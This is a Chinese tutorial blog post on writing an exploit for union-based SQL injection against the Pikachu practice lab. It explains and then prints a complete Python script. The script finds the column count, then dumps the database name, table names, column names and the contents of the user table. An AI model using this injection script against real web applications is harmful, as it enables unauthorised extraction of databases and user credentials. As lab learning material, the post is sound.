day2 poc与exp学习之pikachu字符注入

2023-11-17

exp编写

这里以基于联合注入的exp为例子

1. 全局变量

对数据存储以及http包头的自定义

url = "http://192.168.110.131/pikachu-master/vul/sqli/sqli_str.php"  # 要验证注入点的url
payload = "' union select 1"  # 初始payload
db = ""  # 存储数据库名
tb = []  # 存储表名
cb = []  # 存储列名
user = []  # 存储查询的user表内容
head = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "}  # 自定义http包头

2.猜字段数

通过循环增加字段的数量发包,根据返回包正则匹配判断是否找到字段数

def column(column_num=""):  # 猜字段数
    for i in range(len(column_num)):  # 猜列数
        for j in range(i + 1): # 循环增加字段数量
            column_num += "," + str(j + 2)
        sqlname = {"name": column_num + "#", "submit": "查询"}  # 注入参数
        res = requests.get(url=url, headers=head, params=sqlname)  # 发起get请求
        if not re.findall("The used SELECT statements have a different number of columns", res.text): # 返回包匹配是否猜到字段数,并退出循环
            print("字段数:", j + 2)
            print("payload:" + column_num + "#")
            global payload
            payload = column_num
            break

在这里插入图片描述

3.查询当前数据库名字

通过查询database(),得到数据库名

def database_name(payload_database=""):  # 联合查询数据库名
    payload_database = payload_database.replace("1", "database()", 1) # 将第一个查询的字段更改为我们需要查询的数据库名
    sqlname = {"name": payload_database + "#", "submit": "查询"}  # 注入参数
    res = requests.get(url=url, headers=head, params=sqlname)  # 发起get请求
    dbname = re.findall("<p class='notice'>your uid:(.+?) <br />", res.text) # 返回包正则匹配查询到的数据库名
    global db
    db = dbname[0]  # 将查询到的数据库名存储到全局变量db
    print("数据库:" + db)
    print("payload:" + payload_database + "#") # 当前使用的payload

在这里插入图片描述

4. 查询表名

通过mysql的information_schema表来获得数据库里所有的表名。

在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。具体有关information_schema表参考https://wenku.baidu.com/view/f00d66346ddb6f1aff00bed5b9f3f90f76c64d34.html

def table_name(payload_table=""):  # 联合查询表名
    payload_table = payload_table.replace("1","table_name") + " from information_schema.tables where table_schema=" + "\'" + db + "\'"
    sqlname = {"name": payload_table + "#", "submit": "查询"}  # 注入参数
    res = requests.get(url=url, headers=head, params=sqlname)  # 发起get请求
    tb_name = re.findall("<p class='notice'>your uid:(.+?) <br />", res.text)   # 返回包正则匹配提取表名
    print(db, "下的所有表名:", tb_name)
    global tb   #将表名存储到全局变量tb
    tb = tb_name
    print("payload:" + payload_table + "#") # 当前使用的payload

在这里插入图片描述

5.查询user表的列名

这里只查询了user表作为实例,对代码稍作修改就可以查询更多表、

def column_user(payload_user=""): # 联合查询列名
    payload_user = payload_user.replace("1","column_name") + " from information_schema.columns where table_schema=" + "\'" + db + "\'" + " and table_name=" + "\'" + tb[3] + "\'"
    sqlname = {"name": payload_user + "#", "submit": "查询"}  # 注入参数
    res = requests.get(url=url, headers=head, params=sqlname)  # 发起get请求
    cb_name = re.findall("<p class='notice'>your uid:(.+?) <br />", res.text) # 返回包正则匹配提取列名
    print(tb[3]+"表下的所有列:\n",cb_name)
    global cb #将列名存储到全局变量cb
    cb = cb_name

在这里插入图片描述

6.查询user表的内容

根据查询到的表名,列名查询user表的全部内容

def user_table(payload_usertable=""): #查询user表
    payload_usertable = payload_usertable + " from " + tb[3] #拼接查询表名
    for i in range(len(cb)): #循环查询每一列
        payload_user_table = payload_usertable.replace("1", cb[i]) or payload_usertable.replace(cb[i - 1], cb[i]) #替换列名查询
        sqlname = {"name": payload_user_table + "#", "submit": "查询"}  # 注入参数
        res = requests.get(url=url, headers=head, params=sqlname)  # 发起get请求
        user_1 = re.findall("<p class='notice'>your uid:(.+?) <br />", res.text) # 返回包正则匹配提取查询的的内容
        global user #将内容存储到全局变量user中
        user.append(user_1)

7.输出查询到的user表内容

if __name__ == '__main__':
    column(payload)
    database_name(payload)
    table_name(payload)
    column_user(payload)
    user_table(payload)
    for i in range(len(cb)):
        print(cb[i], ":", user[i])

在这里插入图片描述

8.完整exp

import re

import requests

url = "http://192.168.110.131/pikachu-master/vul/sqli/sqli_str.php"  # 要验证注入点的url
payload = "' union select 1"  # 初始payload
db = ""  # 存储数据库名
tb = []  # 存储表名
cb = []  # 存储列名
user = []  # 存储查询的user表内容
head = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "}  # 自定义http包头


def column(column_num=""):  # 猜字段数
    for i in range(len(column_num)):  # 猜列数
        for j in range(i + 1):  # 循环增加字段数量
            column_num += "," + str(j + 2)
        sqlname = {"name": column_num + "#", "submit": "查询"}  # 注入参数
        res = requests.get(url=url, headers=head, params=sqlname)  # 发起get请求
        if not re.findall("The used SELECT statements have a different number of columns",res.text):  # 返回包匹配是否猜到字段数,并退出循环
            # print("字段数:", j + 2)
            # print("payload:" + column_num + "#")
            global payload
            payload = column_num
            break


def database_name(payload_database=""):  # 联合查询数据库名
    payload_database = payload_database.replace("1", "database()", 1)  # 将第一个查询的字段更改为我们需要查询的数据库名
    sqlname = {"name": payload_database + "#", "submit": "查询"}  # 注入参数
    res = requests.get(url=url, headers=head, params=sqlname)  # 发起get请求
    dbname = re.findall("<p class='notice'>your uid:(.+?) <br />", res.text)  # 返回包正则匹配查询到的数据库名
    global db
    db = dbname[0]  # 将查询到的数据库名存储到全局变量db
    # print("数据库:" + db)
    # print("payload:" + payload_database + "#") # 当前使用的payload


def table_name(payload_table=""):  # 联合查询表名
    payload_table = payload_table.replace("1","table_name") + " from information_schema.tables where table_schema=" + "\'" + db + "\'"
    sqlname = {"name": payload_table + "#", "submit": "查询"}  # 注入参数
    res = requests.get(url=url, headers=head, params=sqlname)  # 发起get请求
    tb_name = re.findall("<p class='notice'>your uid:(.+?) <br />", res.text)  # 返回包正则匹配提取表名
    # print(db, "下的所有表名:", tb_name)
    global tb  # 将表名存储到全局变量tb
    tb = tb_name
    # print("payload:" + payload_table + "#") # 当前使用的payload


def column_user(payload_user=""):  # 联合查询列名
    payload_user = payload_user.replace("1","column_name") + " from information_schema.columns where table_schema=" + "\'" + db + "\'" + " and table_name=" + "\'" + tb[3] + "\'"
    sqlname = {"name": payload_user + "#", "submit": "查询"}  # 注入参数
    res = requests.get(url=url, headers=head, params=sqlname)  # 发起get请求
    cb_name = re.findall("<p class='notice'>your uid:(.+?) <br />", res.text)  # 返回包正则匹配提取列名
    # print(tb[3]+"表下的所有列:\n",cb_name)
    global cb  # 将列名存储到全局变量cb
    cb = cb_name


def user_table(payload_usertable=""):  # 查询user表
    payload_usertable = payload_usertable + " from " + tb[3]  # 拼接查询表名
    for i in range(len(cb)):  # 循环查询每一列
        payload_user_table = payload_usertable.replace("1", cb[i]) or payload_usertable.replace(cb[i - 1],cb[i])  # 替换列名查询
        sqlname = {"name": payload_user_table + "#", "submit": "查询"}  # 注入参数
        res = requests.get(url=url, headers=head, params=sqlname)  # 发起get请求
        user_1 = re.findall("<p class='notice'>your uid:(.+?) <br />", res.text)  # 返回包正则匹配提取查询的的内容
        global user  # 将内容存储到全局变量user中
        user.append(user_1)


if __name__ == '__main__':
    column(payload)
    database_name(payload)
    table_name(payload)
    column_user(payload)
    user_table(payload)
    for i in range(len(cb)):
        print(cb[i], ":", user[i])

    # print(db)
    # print(tb)
    # print(cb)
    # print(user)

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

day2 poc与exp学习之pikachu字符注入 的相关文章

  • PHP 使用主键和辅助键对多维数组进行排序[重复]

    这个问题在这里已经有答案了 如何按主键和辅助键对多维数组进行排序 例如 假设有以下数组 result array result 0 prio 1 result 0 date 2010 02 28 result 0 post February
  • 使用多个 WHERE 子句更新 Codeigniter 中的批次

    我查看了 CI 用户指南来了解如何处理update batch 并且它似乎只接受一个索引来匹配要更新的行 但在我的例子中 我需要指定两个索引 例如lang and id page我一起用作索引 这样的lang en id page 115是
  • Laravel 5 命名约定

    我对 Laravel 约定有点困惑 因为我是这个框架的新手 我正在关注 Jeffrey Way 他使用的 Laracasts 视频Plural对于控制器名称 E g 页面控制器 卡片控制器 帖子控制器 但如果我参考官方文档Laravel g
  • 检查字符串是否编码为 UTF-8

    function seems utf8 str length strlen str for i 0 i lt length i c ord str i if c lt 0x80 n 0 0bbbbbbb elseif c 0xE0 0xC0
  • MySQL如何从多个表中获取数据

    我正在寻找 php MySQL jquery 的帮助 我有2张桌子 table1表 1 有 4 列 id 标题 desc thumb img tabel2表 2 有 3 列 id 表 id img 我只想将 2 个表与 get QS 的值进
  • 从 $i 获取值,顺序被打乱

    for i 0 i lt count name i some output ommited td td
  • 无法访问 WordPress 中声明的全局变量

    我有以下代码 g value something print g value function get value global g value print g value print get value 当我在独立的 PHP 脚本中运行它
  • .htaccess 主要用于 localhost

    我在本地主机上使用 wamp server 虚拟主机名为www xyz com我有一个通过 git 设置的部署服务 它将代码部署到服务器上www xyz in 这是我的 htaccess 代码 RewriteEngine on Rewrit
  • 如何在 Laravel 中正确返回 JSON 响应?

    return response gt json message gt No new orders 不幸的是 这个回应不起作用 理想情况下 我想返回一个 JSON 响应 其中包含 消息 gt 没有新订单 状态代码为 204 无内容 我在控制器
  • 如何在javascript中获取基本url

    我正在建立一个网站代码点火器 http ellislab com codeigniter 我有各种资源 我用base url http ellislab com codeigniter user guide helpers url help
  • 在 PHP 中的请求之间存储对象而不进行序列化

    我正在用 PHP 编写一个有状态的 Web 应用程序 其中状态可能包含大量对象 目前 我将所有这些对象保存在 SESSION 中 并在请求结束时将它们序列化 这有点痛苦 因为序列化整个会话需要几秒钟 而反序列化则需要更多时间 我想尝试 AP
  • 在 PHP 中比较字符串的方式与 MySQL 相同

    我将 varchar 存储在 utf8 MySQL 表中并使用 utf8 general ci 排序规则 我在 varchar 上有一个唯一索引 我想在 PHP 中进行字符串比较 这相当于 MySQL 对索引所做的操作 一个具体的例子是 我
  • PHP中如何处理大于16位的值?

    我正在使用 SOAPclient 调用一个方法 该方法 远程外部 SOAP Web 服务 向我返回一个 19 位数字 我无法控制退回的内容 当我打印这个数字的值时 只有前 16 位数字是准确的 我尝试过类型转换 GMP 等 但是当 php
  • PHP:我是否将事件驱动编程与信号感知接口(信号和槽/观察者模式)混淆了?

    我看到很多人说 Symfony2 Zend Framework 2 等都是事件驱动的 在桌面世界中 通过事件驱动编程 我了解到应用程序每当其状态发生变化时都会通知其观察者 由于 PHP 应用程序是无状态的 因此无法执行此类操作 IE 让观察
  • 改进将字符串转换为可读的 url

    以下函数重写包含各种字符的新闻和产品标题的 url 我希望创建的字符串仅包含字母数字值和 但没有结尾 或空格 也没有重复的 下面的函数工作正常 但我想知道是否有任何方法可以将其编写得更简单或更有效 function urlName stri
  • 正则表达式 - 剥离非数字并删除分(如果有)

    我目前正在开发一个 PHP 项目 需要一些正则表达式的帮助 我希望能够获取用户输入的货币值并删除所有非数字和小数位 分 Ex 2 000 00 到 2000 2 000 00 美元 到 2000 2abc000 到 2000 2 000 到
  • 当我使用加盐 CRYPT_MD5 加密我的密码时,正在加密什么?

    对字符串使用 md5 总是会产生字母数字加密结果 即 没有符号 然而 当我使用 php crypt 函数 特别是带有盐的 CRYPT MD5 并且它已打开 我已经检查过 时 它返回的假定 md5 哈希看起来不像 md5 哈希 例如 如果我
  • Mysql为简单频繁查询创建排序索引性能

    我正在处理一个包含大约 400 万条消息条目的 mysql 表 并尝试根据时间戳选择最新的 50 条消息 另一个要求是返回的消息不以固定前缀开头 问题是单个查询大约占用 25 的 cpu 并且最多需要 1 5 秒 该查询经常由多个客户端执行
  • 将可点击的锚标记转换为 html 文档中的纯文本

    我正在尝试匹配 a 我的内容中的标签 并将其替换为链接文本 后跟打印版本的方括号中的 url 如果只有 href 则以下示例有效 如果 a 包含另一个属性 它匹配太多并且不会返回所需的结果 我怎样才能匹配 URL 和链接文本 就是这样 这是
  • 检查外部图像是否存在的正确 PHP 方法?

    我知道至少有 10 个相同的问题有答案 但似乎没有一个对我来说完美无缺 我正在尝试检查内部或外部图像是否存在 图像 URL 是否有效 fopen url r 失败 除非我使用 fopen Warning fopen http example

随机推荐

  • 关于LaTex下插入的图片排列问题及图片与文本排列问题

    begin figure tb centering setlength abovecaptionskip 0pt setlength belowcaptionskip 0pt subfigure show Fig 1 label subfi
  • uboot下的mw写内存和md显示内存命令以及nand命令

    配置uboot参数 setenv ipaddr 192 168 0 10 setenv serverip 192 168 0 40 setenv gatewayip 192 168 0 1 setenv netmask 255 255 25
  • Linux 实操篇(CentOS7)

    关于Shell shell 可看作命令解释器 bin sh 命令 shell命令入口 uinx解释执行的程序 bourne shell 处理和用户的交互比较差一点 后来Linux在此基础上发展出bash shell bourne again
  • 初学stm32-库函数开发步骤及总结

    stm32库函数开发 一 外设常具备的几类寄存器 二 控制外设的常见操作 三 外设的初始化 四 数据传送 五 状态检查与清除 六 外设函数分类 一 外设常具备的几类寄存器 控制寄存器xxx CR Control Configuration
  • spring boot配置类注册深入解析

    前言 spring ApplicationContext的刷新总体来看有两个过程 第一个是注册BeanDefinition 提供整个IOC容器初始化的材料 第二个是根据BeanDefinition加载bean 从spring boot开始
  • 日常错误整理

    DOMException Failed to execute setItem on Storage Setting the value of widgetCacheData exceeded the quota 在使用sessionStor
  • 【Xilinx Vivado时序分析/约束系列6】FPGA开发时序分析/约束-IO时序输入延时

    目录 源同步FPGA输入时序分析的模型 input delay约束 极限input delay 往期系列博客 源同步FPGA输入时序分析的模型 以下为源同步FPGA输入时序分析的模型的示意图 在之前的文章中介绍过 在此介绍一下各个时钟延时的
  • MyBatis一对多,多对一,多对多

    MyBatis中的一对多和对多一 多对多 主要就是resultMap中 association 关联 一个复杂的类型关联 许多结果将包成这种类型 多对一 嵌套结果映射 关联本身可以是一个 resultMap 元素 或者从别处引用一个 col
  • unity的UI元素层级调整的方法

    UI的渲染层级决定了最终显示效果 先渲染的在底层 后渲染的上层 层级按照如下优先级确定 相机深度 通过Camera控件中的Depth属性设置 值越大的后渲染 Canvas的Sorting Layer 约靠下的后渲染 Canvas的Order
  • 最适合 IoT标准化的许可证是哪一个?

    本文翻译至 http readwrite jp infrastructure 32485 IoT 是今年的技术趋势之一 该领域的潜力是相当大的 但是 关于 规格 依然是四分五裂缺乏统一感 最近可以看到世界已经迈出了标准化的一大歩 到现在为止
  • CocosCreator实战篇 |CocosCreator实现《飞机大战》

    博客主页 肩匣与橘 欢迎点赞 收藏 留言 如有错误敬请指正 本文由肩匣与橘编写 首发于CSDN 生活依旧是美好而又温柔的 你也是 飞机大战 前言 一 素材准备 二 场景搭建 背景 主角战斗机 敌方战机生成点 分数UI 副摄像机 三 脚本编写
  • 空余时间在家做短视频剪辑,一部手机就能搞定,0基础新手也能做

    新手小白刚进去短视频自媒体领域 0粉丝想赚钱就要选一个发布内容有播放量就有收益平台去操作 刚开始可能收益不高 但你坚持做下去 就会跟半途放弃的人不一样 今天大周就说一说具体步骤 该怎么去做 一 选择平台 选择一个有播放量就有收益的平台 今天
  • 【⑬MySQL

    前言 欢迎来到小K的MySQL专栏 本节将为大家带来MySQL数据类型简介 整数 浮点 定点 时间 日期类型的分享 目录 前言 0 数据类型简介 1 整数类型 2 浮点类型 3 定点类型 4 日期 时间类型 总结 0 数据类型简介 数据类型
  • 数论函数(一)

    转载请标明出处 目录 转载请标明出处 1 前言 2 数论函数介绍 2 1加性函数 2 1 1加性函数的性质 2 1 2一些加性函数的例子 2 2积性函数 2 2 1积性函数的性质 2 1 2一些积性函数的例子 2 3数论函数的重要操作 2
  • 原码、反码、补码的运算及在计算机中的作用

    一 概念简述 机器码 一个数在计算机中的二进制形式 机器码是带符号的 在计算机用机器码的最高位存放符号 正数为0 负数为1 如 0000 0011 和 1000 0011 机器码的真值 机器码除符号位剩下的真正数值 如 0000 0001的
  • python如何模拟键盘输入_python模拟鼠标点击和键盘输入的操作

    所有代码都是网上百度出来的 通过个人实践找到适合自己的 采用的python 库是 pymouse pykeyboard 安装时直接pip安装的 pip install PyUserInput 实现了一个最简单的输入密码 enter进入的登录
  • 四分位数与pandas中的quantile函数

    四分位数与pandas中的quantile函数 1 分位数概念 统计学上的有分位数这个概念 一般用p来表示 原则上p是可以取0到1之间的任意值的 但是有一个四分位数是p分位数中较为有名的 所谓四分位数 即把数值由小到大排列并分成四等份 处于
  • Streamlit 讲解专栏(十一):数据可视化-图表绘制详解(中)

    文章目录 1 前言 2 绘制交互式散点图 3 定制图表主题 4 增强数据可视化的交互性与注释 步骤1 步骤二 5 结语 1 前言 在上一篇博文 Streamlit 讲解专栏 十 数据可视化 图表绘制详解 上 中 我们学习了一些关于数据可视化
  • AI绘画是艺术还是技术?AI绘画会让插画师集体失业?

    今年以来 AI绘画的讨论热潮此起彼伏 过一段时间就会引起争议和恐慌 就在近日 日本推出一款名为mimic的AI绘画软件 被日本绘画圈集体声讨 许多画师公开禁止AI绘画 恰巧最近美国艺术圈里关于AI绘画也发生了一件大事 一副 数字绘画 作品获
  • day2 poc与exp学习之pikachu字符注入

    exp编写 这里以基于联合注入的exp为例子 1 全局变量 对数据存储以及http包头的自定义 url http 192 168 110 131 pikachu master vul sqli sqli str php 要验证注入点的url